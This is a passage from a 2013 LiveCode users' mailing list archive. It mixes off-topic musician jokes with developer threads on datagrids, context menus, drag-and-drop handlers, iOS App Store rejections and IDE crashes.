before for this homeless man. > And as I played 'Amazing Grace,' the workers began to weep. > They wept, I wept, and we all wept together. > > When I finished I packed up my bagpipes and started for my car. Though > my head hung low, my heart was full. > > As I was opening the door to my car, I heard one of the worker say, > "Sweet Mother of Jesus, I never seen nothing like that before and I've > been putting in septic tanks for twenty years." > > Pete > lcSQL Software > > > On Tue, May 7, 2013 at 9:29 PM, Mark Wieder > wrote: > > > Pete- > > > > Tuesday, May 7, 2013, 9:15:49 PM, you wrote: > > > > > OK, is it open season on musician jokes? 'Cause I got some that will > > ruffle > > > a few feathers :=) > > > > I'll bet you do. You mean like: > > What's the definition of perfect pitch? > > Tossing an accordian in the toilet without hitting the rim. > > > > -- > > -Mark Wieder > > mwieder at ahsoftware.net > > > > > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From slylabs13 at me.com Wed May 8 21:38:04 2013 From: slylabs13 at me.com (Robert Sneidar) Date: Wed, 08 May 2013 18:38:04 -0700 Subject: [OT] Powered USB hub? In-Reply-To: <518AC17D.5050709@hyperactivesw.com> References: <518AC17D.5050709@hyperactivesw.com> Message-ID: <70C28C05-2778-4F9D-96D0-109C29BE1D0E@me.com> If your wall has warts, you have bigger problems than your USB hub! Bob Sneidar IT Manager Calvary Chapel CM Sent from iPhone On May 8, 2013, at 14:19, "J. Landman Gay" wrote: > Okay you smart people: If I put an unpowered USB hub on a USB wall wart, will I get a powered USB hub? > > -- > Jacqueline Landman Gay | jacque at hyperactivesw.com > HyperActive Software | http://www.hyperactivesw.com > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From jacque at hyperactivesw.com Wed May 8 22:14:28 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Wed, 08 May 2013 21:14:28 -0500 Subject: [OT] Powered USB hub? In-Reply-To: <00ee01ce4c38$18ccd640$4a6682c0$@net> References: <518AC17D.5050709@hyperactivesw.com> <00ee01ce4c38$18ccd640$4a6682c0$@net> Message-ID: <518B0684.2070202@hyperactivesw.com> On 5/8/13 5:05 PM, Ralph DiMola wrote: > In a word yes. The unpowered hub is powered by the USB host port. The total > current available to run any other unpowered device devices plugged into the > hub will be the current the host USB port supplies minus the power the hub > itself requires to operate. Thanks! One less cable to pack then. Bob: It is better that your wall have warts than mold. Trust me on that. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From rdimola at evergreeninfo.net Wed May 8 22:17:15 2013 From: rdimola at evergreeninfo.net (Ralph DiMola) Date: Wed, 8 May 2013 22:17:15 -0400 Subject: [OT - I remembered this time]: here we go In-Reply-To: <40418684689.20130508181226@ahsoftware.net> References: <5188E6F0.6020908@gmail.com> <134295697072.20130507080239@ahsoftware.net> <1367941984039-4664371.post@n4.nabble.com> <51892C07.1010604@warrensweb.us> <90333940445.20130507184002@ahsoftware.net> <00b701ce4b98$ff025c20$fd071460$@net> <102339465441.20130507201207@ahsoftware.net> <29344109381.20130507212931@ahsoftware.net> <40418684689.20130508181226@ahsoftware.net> Message-ID: <010101ce4c5b$5334d7b0$f99e8710$@net> Pete, I had my brother in stitches with that "story". Mark, Very funny and clever!! Ralph DiMola IT Director Evergreen Information Services rdimola at evergreeninfo.net -----Original Message----- From: use-livecode [mailto:use-livecode-bounces at lists.runrev.com] On Behalf Of Mark Wieder Sent: Wednesday, May 08, 2013 9:12 PM To: How to use LiveCode Subject: Re: [OT - I remembered this time]: here we go Pete- LOL. That's the best story I've heard in a while. Here's one more before I leave this thread (probably for musicians only): C, E-flat, and G go into a bar. The bartender says, "Sorry, but we don't serve minors." So E-flat leaves, and C and G have an open fifth between them. After a few drinks, the fifth is diminished, and G is out flat. F comes in and tries to augment the situation, but is not sharp enough. D comes in and heads for the bathroom, saying, "Excuse me; I'll just be a second." Then A comes in, but the bartender is not convinced that this relative of C is not a minor. Then the bartender notices B-flat hiding at the end of the bar and says, "Get out! You're the seventh minor I've found in this bar tonight." E-flat comes back the next night in a three-piece suit with nicely shined shoes. The bartender says, "You're looking sharp tonight. Come on in, this could be a major development." Sure enough, E-flat soon takes off his suit and everything else, and is au natural. Eventually C sobers up and realizes in horror that he's under a rest. C is brought to trial, found guilty of contributing to the diminution of a minor, and is sentenced to 10 years of D.S. without Coda at an upscale correctional facility. -- -Mark Wieder mwieder at ahsoftware.net _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From jacque at hyperactivesw.com Wed May 8 22:18:31 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Wed, 08 May 2013 21:18:31 -0500 Subject: Livecode Usersguide In-Reply-To: References: Message-ID: <518B0777.8050101@hyperactivesw.com> On 5/8/13 7:35 PM, MCLAWHORN, TONY wrote: > So is the Livecode userguide revision 18 with a date of September 16, 2010 the latest there is? > Dang... Has there not been any substantial changes in 3 years. That's part of what version 6 is all about -- a whole revamp of the UI. The new project browser is the first piece, and eventually it will all be new. For now there is an online lesson on how the project browser works but it hasn't made it into the user guide yet. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From dochawk at gmail.com Wed May 8 22:32:27 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Wed, 8 May 2013 19:32:27 -0700 Subject: are my datagrids misbehaving, or is it me. In-Reply-To: <01136F23-E0F6-476F-B041-6C4C96E5A99B@gmail.com> References: <01136F23-E0F6-476F-B041-6C4C96E5A99B@gmail.com> Message-ID: On Wed, May 8, 2013 at 5:26 PM, Peter M. Brigham wrote: > Attachments don't come through on this list. You'll have to post the stack > on a website and send us a URL. > Isn't there a 15k limit? It's a 12k file (with the datagrid removed). It came back through for me as a attachment . . . anyway, it's at: http://dochawk.org/test.datagrid.130504a.livecode and you simply drag a new datagrid to it in the IDE, and then push the button; there are breakpoints set. -- Dr. Richard E. Hawkins, Esq. (702) 508-8462 From dochawk at gmail.com Wed May 8 22:44:37 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Wed, 8 May 2013 19:44:37 -0700 Subject: Is there a textChanged property? Message-ID: I know about the textChanged message, but . . . I have forms with many fields. I have a closeField handler that sets a flag when something changes, but this only triggers when leaving the field. My assistant just discovered a bug that I hadn't-- I have fields that have hotkeys in them, one of which closes a group of fields. If a change is made in one, and the hotkey used to close, that change doesn't get processed. I suppose I could set my flag repeatedly whenever a key is pressed, but this seems processor intensive. Is there any way inside the keyUp handler to test whether the contents have changed? Or is this just a hangover from my 8 bit days with BASIC interpreters? -- Dr. Richard E. Hawkins, Esq. (702) 508-8462 From mwieder at ahsoftware.net Wed May 8 23:20:33 2013 From: mwieder at ahsoftware.net (Mark Wieder) Date: Wed, 8 May 2013 20:20:33 -0700 Subject: [OT - I remembered this time]: here we go In-Reply-To: <010101ce4c5b$5334d7b0$f99e8710$@net> References: <5188E6F0.6020908@gmail.com> <134295697072.20130507080239@ahsoftware.net> <1367941984039-4664371.post@n4.nabble.com> <51892C07.1010604@warrensweb.us> <90333940445.20130507184002@ahsoftware.net> <00b701ce4b98$ff025c20$fd071460$@net> <102339465441.20130507201207@ahsoftware.net> <29344109381.20130507212931@ahsoftware.net> <40418684689.20130508181226@ahsoftware.net> <010101ce4c5b$5334d7b0$f99e8710$@net> Message-ID: <103426371361.20130508202033@ahsoftware.net> Ralph- Wednesday, May 8, 2013, 7:17:15 PM, you wrote: > Mark, > Very funny and clever!! I can't claim credit for anything but passing it on. I used to run the Grateful Dead jokes page on the WELL back in the day... -- -Mark Wieder mwieder at ahsoftware.net From gerry.orkin at gmail.com Thu May 9 03:08:04 2013 From: gerry.orkin at gmail.com (Gerry Orkin) Date: Thu, 9 May 2013 17:08:04 +1000 Subject: [OT - I remembered this time]: here we go In-Reply-To: <103426371361.20130508202033@ahsoftware.net> References: <5188E6F0.6020908@gmail.com> <134295697072.20130507080239@ahsoftware.net> <1367941984039-4664371.post@n4.nabble.com> <51892C07.1010604@warrensweb.us> <90333940445.20130507184002@ahsoftware.net> <00b701ce4b98$ff025c20$fd071460$@net> <102339465441.20130507201207@ahsoftware.net> <29344109381.20130507212931@ahsoftware.net> <40418684689.20130508181226@ahsoftware.net> <010101ce4c5b$5334d7b0$f99e8710$@net> <103426371361.20130508202033@ahsoftware.net> Message-ID: That bagpipe one has been on the net for years :) This three piece rock band were very keen to do well at their gig because they'd heard a big record producer was in the audience. If he liked them they'd be sure to become the next big thing. During the first song the lead guitarist was strumming up a storm. In his mind all he could think about was the fast cars, private jets and luxury hotel rooms that he was sure were in his future. The drummer played like a demon. All he could think about was the girls, the drugs and the private zoo he was going to build. The bass player hung back in the shadows (as bass players tend to do) thumping out a deep rhythm. All he could think about was A, D, F, G...A, D, F, G...A, D, F, G... Gerry From andre.bisseret at wanadoo.fr Thu May 9 04:00:36 2013 From: andre.bisseret at wanadoo.fr (=?iso-8859-1?Q?Andr=E9_Bisseret?=) Date: Thu, 9 May 2013 10:00:36 +0200 Subject: Anyone else experiencing crashes with Commercial Build 1513? In-Reply-To: References: <51896CFE.10102@hyperactivesw.com> <5189BDF1.6090007@hyperactivesw.com> <518A8AAA.4030008@hyperactivesw.com> Message-ID: <5BB9F465-1317-4A97-990D-7E9C70651F7E@wanadoo.fr> Thank you Shawn Seems not be my case. And I get no crash log I get a completely empty screen and have to force switch off (pushing the button (top right of the keyboard) for several seconds) Andr? Le 8 mai 2013 ? 21:36, Shawn Blc a ?crit : > Bug Report: http://quality.runrev.com/show_bug.cgi?id=10896 > > > > > On Wed, May 8, 2013 at 12:26 PM, J. Landman Gay wrote: > >> On 5/8/13 7:05 AM, Andr? Bisseret wrote: >> >> With the new standalone as well but only until I tried to quit it. >>> Then I got a crash (?) : I mean the screen of my mac (10.6.8) became >>> completely empty and I had to force to turn off my mac. >>> >>> After several trials issuing the same problems, I am back to 5.0.2! >>> >> >> Since this is a repeatable crash, you should enter a bug report so they >> can fix it. Attach the crash log. >> >> >> -- >> Jacqueline Landman Gay | jacque at hyperactivesw.com >> HyperActive Software | http://www.hyperactivesw.com >> From livfoss at mac.com Thu May 9 04:32:23 2013 From: livfoss at mac.com (Graham Samuel) Date: Thu, 09 May 2013 10:32:23 +0200 Subject: Context Menus - the look of the thing Message-ID: <6891CBDF-7BA3-4344-8BBE-945E50FB149E@mac.com> I've never built a context menu up to now, and I'm struggling a bit. I have made it work with the aid of the LC docs, but my popup doesn't look exactly like a conventional menu. I need to know which font, style and size are needed, and the exact spacing (the size of the underlying buttons and the text margins). As this is a cross-platform desktop app, I need to know these for both Mac and Windows. Here the LC docs don't help AFAICS. Of course I can do it by experiment but there are a heck of a lot of fonts. Can anyone who's already done it tell me exactly how to configure context menus to look like native controls? TIA Graham PS - the LC docs tell one to set the individual buttons' autoArm and armBorder properties to true. I had to do this with the LC Message Box because I couldn't find these properties in any other way. I naively thought that in LC 6.0.1 you can reveal (and therefore set) all properties of an object. Was I wrong? From peterwawood at gmail.com Thu May 9 04:42:34 2013 From: peterwawood at gmail.com (Peter W A Wood) Date: Thu, 9 May 2013 16:42:34 +0800 Subject: You've had Open Source LiveCode for One month Message-ID: ... so surely one or two of you have completed Apps that you want to show to the world? Just send me a screenshot and a brief description and I'll do the rest. Regards Peter http://LiveCode1001.blogspot.com From me at paulmaguire.me Thu May 9 04:47:37 2013 From: me at paulmaguire.me (Paul Maguire) Date: Thu, 9 May 2013 09:47:37 +0100 Subject: [OFF] The Competition In-Reply-To: <86CF95155E434EB1A4B8B515739B5366@GATEWAY> References: <86CF95155E434EB1A4B8B515739B5366@GATEWAY> Message-ID: <30BD3A24-41DB-4BB2-8989-8BF20BF534C2@paulmaguire.me> On 8 May 2013, at 20:27, "Lynn Fredricks" wrote: > You want to talk about competition? What about Director (cue sound of > crickets...)? ;-) Diss Adobe but not the venerable Director :-) Adobe had an opportunity to make Director the industry standard creative multimedia authoring tool (as it used to be), but through lumbering monolithic bureaucracy so far have failed to do so. I can have a multi-display, cross-platform real time interactive 3D application with Ageia physics built and deployed in 15 mins using Director. No other tool out there comes close to Director in being able to rapidly develop creative desktop applications. Recent update to 12 offers iOS support... I'm a newcomer to LC. The only ingredient missing from it for me is the ability to use accelerated 3D. Other than this, it's my new friend. Kind regards, Paul. From m.schonewille at economy-x-talk.com Thu May 9 04:58:07 2013 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Thu, 09 May 2013 10:58:07 +0200 Subject: You've had Open Source LiveCode for One month In-Reply-To: References: Message-ID: <518B651F.1090603@economy-x-talk.com> Hi Pete, Surely, some people whill have finished something, but I think that the adaptation of open-source strategies will take some time. I didn't have any time to complete an app of my own recently and once I do, I don't know how I will make it available yet. -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Use Color Converter to convert CMYK, RGB, RAL, XYZ, H.Lab and other colour spaces. http://www.color-converter.com Buy my new book "Programming LiveCode for the Real Beginner" http://qery.us/3fi On 5/9/2013 10:42, Peter W A Wood wrote: > ... so surely one or two of you have completed Apps that you want to show to the world? > > Just send me a screenshot and a brief description and I'll do the rest. > > Regards > > Peter > http://LiveCode1001.blogspot.com From peterwawood at gmail.com Thu May 9 05:05:00 2013 From: peterwawood at gmail.com (Peter W A Wood) Date: Thu, 9 May 2013 17:05:00 +0800 Subject: You've had Open Source LiveCode for One month In-Reply-To: <518B651F.1090603@economy-x-talk.com> References: <518B651F.1090603@economy-x-talk.com> Message-ID: Hi Mark Thanks. I'm sure you're correct about it taking time with respect to open-source strategies. Actually, the App doesn't need to have been written with LiveCode Community Edition, I'm just trawling to get a few more entries for 1001 things to do with LiveCode. (I still have a long way to go to get to 1001!!) Kind regards Peter W A Wood http://LiveCode1001.blogspot.com On 9 May 2013, at 16:58, Mark Schonewille wrote: > Hi Pete, > > Surely, some people whill have finished something, but I think that the adaptation of open-source strategies will take some time. I didn't have any time to complete an app of my own recently and once I do, I don't know how I will make it available yet. > > -- > Best regards, > > Mark Schonewille > > Economy-x-Talk Consulting and Software Engineering > Homepage: http://economy-x-talk.com > Twitter: http://twitter.com/xtalkprogrammer > KvK: 50277553 > > Use Color Converter to convert CMYK, RGB, RAL, XYZ, H.Lab and other colour spaces. http://www.color-converter.com > > Buy my new book "Programming LiveCode for the Real Beginner" http://qery.us/3fi > > On 5/9/2013 10:42, Peter W A Wood wrote: >> ... so surely one or two of you have completed Apps that you want to show to the world? >> >> Just send me a screenshot and a brief description and I'll do the rest. >> >> Regards >> >> Peter >> http://LiveCode1001.blogspot.com > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From bvg at mac.com Thu May 9 06:59:15 2013 From: bvg at mac.com (=?iso-8859-1?Q?Bj=F6rnke_von_Gierke?=) Date: Thu, 09 May 2013 12:59:15 +0200 Subject: Beginners questions subject headers In-Reply-To: References: <5188E6F0.6020908@gmail.com> Message-ID: I think anything BESIDES beginner questions should start with [OT], then it'd be easy to find those emails made by people whom still are capable of receiving help :-P On 07.05.2013, at 15:19, Andre Garzia wrote: > I think the best subject for a beginner question would be something like > > [BEGINNER] Where and when is Jacques time travel external located? -- Use an alternative Dictionary viewer: http://bjoernke.com/bvgdocu/ Chat with other RunRev developers: http://bjoernke.com/chatrev/ From pmbrig at gmail.com Thu May 9 07:49:57 2013 From: pmbrig at gmail.com (Peter M. Brigham) Date: Thu, 9 May 2013 07:49:57 -0400 Subject: Context Menus - the look of the thing In-Reply-To: <6891CBDF-7BA3-4344-8BBE-945E50FB149E@mac.com> References: <6891CBDF-7BA3-4344-8BBE-945E50FB149E@mac.com> Message-ID: <67FFD4B2-EB7B-41F4-8A05-08F87E59800A@gmail.com> Are you trying to construct a stack menu? That is, are you laying out a stack that will pop up when you right-click on something? Are you aware that there are other ways of popping up a contextual menu that leave all the formatting to the engine and the operating system? You really only need a stack menu if you explicitly need it to look and operate differently from your ordinary contextual menu. I have a pop-up contextual menu button and script for a classic contextual menu that makes calling the popup a one-line affair -- put popChoose("right", "left","center") into userChoice. If you're interested email me and I'll send it to you. -- Peter Peter M. Brigham pmbrig at gmail.com http://home.comcast.net/~pmbrig On May 9, 2013, at 4:32 AM, Graham Samuel wrote: > I've never built a context menu up to now, and I'm struggling a bit. I have made it work with the aid of the LC docs, but my popup doesn't look exactly like a conventional menu. I need to know which font, style and size are needed, and the exact spacing (the size of the underlying buttons and the text margins). As this is a cross-platform desktop app, I need to know these for both Mac and Windows. Here the LC docs don't help AFAICS. Of course I can do it by experiment but there are a heck of a lot of fonts. > > Can anyone who's already done it tell me exactly how to configure context menus to look like native controls? > > TIA > > Graham > > PS - the LC docs tell one to set the individual buttons' autoArm and armBorder properties to true. I had to do this with the LC Message Box because I couldn't find these properties in any other way. I naively thought that in LC 6.0.1 you can reveal (and therefore set) all properties of an object. Was I wrong? > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From ray at linkit.com Thu May 9 08:15:39 2013 From: ray at linkit.com (Ray Horsley) Date: Thu, 9 May 2013 08:15:39 -0400 Subject: Drag and Drop Message-ID: <725BACB2-D59D-4350-9C0A-62395ED1B7AC@LinkIt.Com> I've never used this feature before and no matter how I set it up it seems kind of sporadic. The goal is to drag an image file (jpg, jpeg, png, etc.) from the desktop onto a card, get the path to it and ultimately import it into the stack. I've place an image control on the card which is the same dimensions as the stack itself and scripted the following: on dragEnter set the dragAction to "copy" -- this is the sporadic part which only sometimes turns the cursor into a plus thus allowing dragDrop to catch the drop pass dragEnter end dragEnter on dragDrop put the dragData into curFilePath -- continue to import the file end dragDrop This works 'some of the time' but I'm still often unable to drop what I'm dragging since the cursor doesn't always turn into the plus sign. Each time this happens I try dragging the file again, immediately, and it suddenly works when I didn't change a thing. What am I missing to get drag/drop working consistently? Ray Horsley LinkIt! Software From MikeKerner at roadrunner.com Thu May 9 08:34:12 2013 From: MikeKerner at roadrunner.com (Mike Kerner) Date: Thu, 9 May 2013 08:34:12 -0400 Subject: Push Payload Message-ID: Guys, This has long been a bit annoying, but it will soon become much more annoying. On iOS, the only way your LC app gets the payload from a push notification is if either a) the app is running when the message comes over or b) the user opens the app in response to the push alert appearing on the screen. It seems that this is only a LC problem. Before I send a bug report, I wanted to find out if anybody knew for certain. -- On the first day, God created the heavens and the Earth On the second day, God created the oceans. On the third day, God put the animals on hold for a few hours, and did a little diving. And God said, "This is good." From kellymdempewolf at gmail.com Thu May 9 09:46:22 2013 From: kellymdempewolf at gmail.com (kellymdempewolf) Date: Thu, 9 May 2013 06:46:22 -0700 (PDT) Subject: automated iOS rejection: Non-public API usage In-Reply-To: <1368006174.27886.YahooMailNeo@web28801.mail.ir2.yahoo.com> References: <5F4B1D69-6974-40DB-ABEC-F2F25452581E@elementarysoftware.com> <51898E9E.4030803@hyperactivesw.com> <1368006174.27886.YahooMailNeo@web28801.mail.ir2.yahoo.com> Message-ID: <1368107182977-4664566.post@n4.nabble.com> Is there any way that I can work around this to fix it in my own app in the meantime? I have an app that needs to be sent to iTunes but I have the same rejection happening! (I have subscribed to the bug report so I'll see when it's fixed but for now I need to get the app sent!) Thanks! -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/automated-iOS-rejection-Non-public-API-usage-tp4664353p4664566.html Sent from the Revolution - User mailing list archive at Nabble.com. From m_p_wilcox at yahoo.co.uk Thu May 9 10:12:50 2013 From: m_p_wilcox at yahoo.co.uk (Mark Wilcox) Date: Thu, 9 May 2013 15:12:50 +0100 (BST) Subject: automated iOS rejection: Non-public API usage In-Reply-To: <1368107182977-4664566.post@n4.nabble.com> References: <5F4B1D69-6974-40DB-ABEC-F2F25452581E@elementarysoftware.com> <51898E9E.4030803@hyperactivesw.com> <1368006174.27886.YahooMailNeo@web28801.mail.ir2.yahoo.com> <1368107182977-4664566.post@n4.nabble.com> Message-ID: <1368108770.10779.YahooMailNeo@web28802.mail.ir2.yahoo.com> kellymdempewolf wrote: > Is there any way that I can work around this to fix it in my own app in the?meantime? Sadly not, this is why I suggested some sort of community supported process as a safety net for Apple rule changes. Your app almost certainly doesn't use the UDID but the LiveCode engine binary links to the banned method, so you can't pass the automated test until you have a LiveCode commercial build with the offending method call removed. I could build a standalone with it removed from the community version source code but that can't be used to submit to the app store. Probably worth adding a note to the bug report and let them know which LiveCode version you're using since they may want to prioritise patch releases for those actively waiting to submit apps. Mark ________________________________ From: kellymdempewolf To: use-revolution at lists.runrev.com Sent: Thursday, 9 May 2013, 14:46 Subject: Re: automated iOS rejection: Non-public API usage Is there any way that I can work around this to fix it in my own app in the meantime?? I have an app that needs to be sent to iTunes but I have the same rejection happening!? (I have subscribed to the bug report so I'll see when it's fixed but for now I need to get the app sent!) Thanks! -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/automated-iOS-rejection-Non-public-API-usage-tp4664353p4664566.html Sent from the Revolution - User mailing list archive at Nabble.com. _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From rdimola at evergreeninfo.net Thu May 9 10:26:06 2013 From: rdimola at evergreeninfo.net (Ralph DiMola) Date: Thu, 9 May 2013 10:26:06 -0400 Subject: [OT - I remembered this time]: here we go In-Reply-To: References: <5188E6F0.6020908@gmail.com> <134295697072.20130507080239@ahsoftware.net> <1367941984039-4664371.post@n4.nabble.com> <51892C07.1010604@warrensweb.us> <90333940445.20130507184002@ahsoftware.net> <00b701ce4b98$ff025c20$fd071460$@net> <102339465441.20130507201207@ahsoftware.net> <29344109381.20130507212931@ahsoftware.net> <40418684689.20130508181226@ahsoftware.net> <010101ce4c5b$5334d7b0$f99e8710$@net> <103426371361.20130508202033@ahsoftware.net> Message-ID: <013201ce4cc1$24ff3ff0$6efdbfd0$@net> HA HA HA!! My brother plays bass. Thanks all for the ammunition. I've had to listen to his accordion jokes since forever. Ralph DiMola IT Director Evergreen Information Services rdimola at evergreeninfo.net -----Original Message----- From: use-livecode [mailto:use-livecode-bounces at lists.runrev.com] On Behalf Of Gerry Orkin Sent: Thursday, May 09, 2013 3:08 AM To: How to use LiveCode Subject: Re: [OT - I remembered this time]: here we go That bagpipe one has been on the net for years :) This three piece rock band were very keen to do well at their gig because they'd heard a big record producer was in the audience. If he liked them they'd be sure to become the next big thing. During the first song the lead guitarist was strumming up a storm. In his mind all he could think about was the fast cars, private jets and luxury hotel rooms that he was sure were in his future. The drummer played like a demon. All he could think about was the girls, the drugs and the private zoo he was going to build. The bass player hung back in the shadows (as bass players tend to do) thumping out a deep rhythm. All he could think about was A, D, F, G...A, D, F, G...A, D, F, G... Gerry _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From dochawk at gmail.com Thu May 9 10:44:41 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Thu, 9 May 2013 07:44:41 -0700 Subject: Anyone else experiencing crashes with Commercial Build 1513? In-Reply-To: <5189BDF1.6090007@hyperactivesw.com> References: <51896CFE.10102@hyperactivesw.com> <5189BDF1.6090007@hyperactivesw.com> Message-ID: On Tue, May 7, 2013 at 7:52 PM, J. Landman Gay wrote: >> >> Hanging while attempting to quit the IDE is so common I barely notice when >> I force quit; it's been this way since I started last year. > > That's unusual, I think something else is wrong. Apps won't quit if there are pending messages >in the queue, or if a process is left open, or if there is any other kind of unfinished business >(except for open files, those close themselves.) Is your stack running something when you try >to quit? Maybe an external is trying to do something? I have absolutely no externals. I actually have to shut off messages to close some stacks, as it can take over a minute (on modern macs). And livecode just not responding and being greyed out in the force-quit window is also commn. -- Dr. Richard E. Hawkins, Esq. (702) 508-8462 From devin_asay at byu.edu Thu May 9 11:03:01 2013 From: devin_asay at byu.edu (Devin Asay) Date: Thu, 9 May 2013 15:03:01 +0000 Subject: Drag and Drop In-Reply-To: <725BACB2-D59D-4350-9C0A-62395ED1B7AC@LinkIt.Com> References: <725BACB2-D59D-4350-9C0A-62395ED1B7AC@LinkIt.Com> Message-ID: <31BDC56EACAAF64688457CE3F71D9F1A01142A4F@Peas2.byu.local> On May 9, 2013, at 6:15 AM, Ray Horsley wrote: > I've never used this feature before and no matter how I set it up it seems kind of sporadic. The goal is to drag an image file (jpg, jpeg, png, etc.) from the desktop onto a card, get the path to it and ultimately import it into the stack. I've place an image control on the card which is the same dimensions as the stack itself and scripted the following: > > on dragEnter > set the dragAction to "copy" -- this is the sporadic part which only sometimes turns the cursor into a plus thus allowing dragDrop to catch the drop > pass dragEnter > end dragEnter > > on dragDrop > put the dragData into curFilePath > -- continue to import the file > end dragDrop > > This works 'some of the time' but I'm still often unable to drop what I'm dragging since the cursor doesn't always turn into the plus sign. Each time this happens I try dragging the file again, immediately, and it suddenly works when I didn't change a thing. What am I missing to get drag/drop working consistently? Ray, A while back I needed exactly this. I worked out a process that seems to work consistently. Here's what I did: In the card script: on dragStart set the allowableDragActions to "move,copy" end dragStart In the drop target object script (mine happened to be a group): on dragEnter set the dragAction to "move" # "copy" might work, too # these next 3 lines are just eye candy to tell the user that they hit a "hot spot" set the lineSize of grc "dropSpot" of me to 3 set the backcolor of grc "dropSpot" of me to "gray" set the icon of btn "downArrowBtn" to "downarrow" end dragEnter on dragDrop put the dragData["files"] into fld "file path" # more eye candy set the backcolor of grc "dropSpot" of me to the startingBackColor of grc "dropSpot" of me set the icon of btn "downArrowBtn" to "downarrowlite" end dragDrop on dragLeave # yet more eye candy set the backcolor of grc "dropSpot" of me to the startingBackColor of grc "dropSpot" of me set the icon of btn "downArrowBtn" to "downarrowlite" end dragLeave As you can see the essential parts of the drag-drop operation are fairly minimal and straightforward. HTH Devin Devin Asay Office of Digital Humanities Brigham Young University From cmsheffield at icloud.com Thu May 9 11:31:57 2013 From: cmsheffield at icloud.com (Chris Sheffield) Date: Thu, 09 May 2013 09:31:57 -0600 Subject: FmPro Migrator - how well does it work? Message-ID: <1ECB7EC6-550E-4ACE-8D88-FA057D10A125@icloud.com> I'm trying to find out more about this application that's available in the RunRev store. Has anybody used it? Does it work well? I am *really* wanting to convert my company's current FileMaker database to a LiveCode application using MySQL as the database. The current FileMaker implementation is many years old, having been converted over and over again for each new version of FM. It has become extremely unwieldy and very difficult to maintain over the years. Trying to fix bugs or add new functionality is next to impossible. Part of this is my lack of knowledge when it comes to FileMaker scripting, which is pretty ugly I might add (sorry if I'm being offensive to any FileMaker devs out there). Anyway, just wondering if anyone has done something like this and if there are any major concerns to be aware of. The current database is quite large, and I worry about getting everything converted just right and getting all data imported into MySQL. It's our company's contact management system, tracking contacts, orders, invoices, etc., so it's pretty important. Would it be better to just start a new LiveCode application from scratch, and skip trying to convert it using a tool such as this? Thanks, Chris -- Chris Sheffield Read Naturally, Inc. www.readnaturally.com From jacque at hyperactivesw.com Thu May 9 12:56:15 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Thu, 09 May 2013 11:56:15 -0500 Subject: Anyone else experiencing crashes with Commercial Build 1513? In-Reply-To: <5BB9F465-1317-4A97-990D-7E9C70651F7E@wanadoo.fr> References: <51896CFE.10102@hyperactivesw.com> <5189BDF1.6090007@hyperactivesw.com> <518A8AAA.4030008@hyperactivesw.com> <5BB9F465-1317-4A97-990D-7E9C70651F7E@wanadoo.fr> Message-ID: <518BD52F.2060106@hyperactivesw.com> On 5/9/13 3:00 AM, Andr? Bisseret wrote: > Thank you Shawn > Seems not be my case. > And I get no crash log > I get a completely empty screen and have to force switch off (pushing the button (top right of the keyboard) for several seconds) Is it a hang? If you're on Mac, look in Console at the "System Diagnostic Reports", that's where I found the hang report for mine. I haven't uploaded that yet because Shawn's report was about an actual crash so I need to start a new report. If you can find yours, you could add it to mine. It sounds similar. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From jacque at hyperactivesw.com Thu May 9 13:02:39 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Thu, 09 May 2013 12:02:39 -0500 Subject: Context Menus - the look of the thing In-Reply-To: <6891CBDF-7BA3-4344-8BBE-945E50FB149E@mac.com> References: <6891CBDF-7BA3-4344-8BBE-945E50FB149E@mac.com> Message-ID: <518BD6AF.7040501@hyperactivesw.com> On 5/9/13 3:32 AM, Graham Samuel wrote: > > PS - the LC docs tell one to set the individual buttons' autoArm and > armBorder properties to true. I had to do this with the LC Message > Box because I couldn't find these properties in any other way. I > naively thought that in LC 6.0.1 you can reveal (and therefore set) > all properties of an object. Was I wrong? Use a popup menu button instead, it's all automatic then. The only reason to use a stack menu is if you want some kind of custom display, like using images instead of text lists, for instance. Stack menus are fiddly and rarely needed. LC separates out the properties it thinks belong to a button of a certain "type" (even though all buttons can be any style.) So if you aren't looking at a particular style it thinks should have those properties, they aren't displayed. You'll see those two if you are editing a push button. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From jacque at hyperactivesw.com Thu May 9 13:10:12 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Thu, 09 May 2013 12:10:12 -0500 Subject: Is there a 